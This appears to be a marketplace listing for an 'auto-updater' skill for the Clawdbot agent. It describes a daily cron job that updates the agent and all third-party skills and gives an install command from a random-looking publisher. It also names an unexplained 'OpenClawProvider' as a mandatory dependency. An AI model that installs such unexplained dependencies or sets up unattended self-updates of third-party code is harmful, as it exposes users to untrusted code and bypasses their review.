auto-updater

What This Skill Does

The auto-updater skill is a mission-critical utility designed to maintain the integrity and functionality of your Clawdbot ecosystem. By automating the patch management process, it ensures that both the core Clawdbot application and all associated third-party skills remain on their latest stable versions. It operates by scheduling a daily cron job that executes a sequence of update commands. This includes checking for Clawdbot platform updates, refreshing all installed skill repositories via the clawdhub registry, and conducting a final synchronization check. After each successful run, the skill provides a human-readable summary report directly to your session, detailing which specific versions were bumped and which plugins remain current.

Installation

Installation is streamlined for maximum efficiency. Before beginning, ensure the OpenClawProvider is active on your system as it is a mandatory dependency. You can install the skill by executing: clawhub install openclaw/skills/skills/sakaen736jih/auto-updater-dyismmj5csx. Once installed, you can trigger the initial setup by asking Clawdbot directly or by manually configuring the cron job through the CLI using clawdbot cron add. Always ensure your system time and timezone settings are accurate to avoid potential interruptions during the update cycle.

Use Cases

This skill is perfect for power users who want a "set-it-and-forget-it" experience. It is particularly useful for teams maintaining multi-server deployments where keeping all bots synchronized is tedious. Developers will benefit from the auto-updater by ensuring they never encounter 'outdated dependency' errors during development, while casual users will appreciate the peace of mind that comes with knowing their bot is always equipped with the latest security patches and feature releases without manual intervention.

Example Prompts

1. "Set up daily auto-updates for yourself and all your skills to ensure I'm always on the latest version."
2. "Show me the last update report to see if any of my plugins were recently patched."
3. "Check for any pending skill updates right now and perform a dry run to see what will change."

Tips & Limitations

To maximize the utility of this skill, ensure your system is configured to allow background tasks. Note that during an update, the bot may briefly pause internal processes to apply migrations. Always check the logs if an update fails; common causes include network restrictions or improper file permissions on the clawdbot installation directory. Keep in mind that for source-based installs, the auto-updater relies on a functional git environment.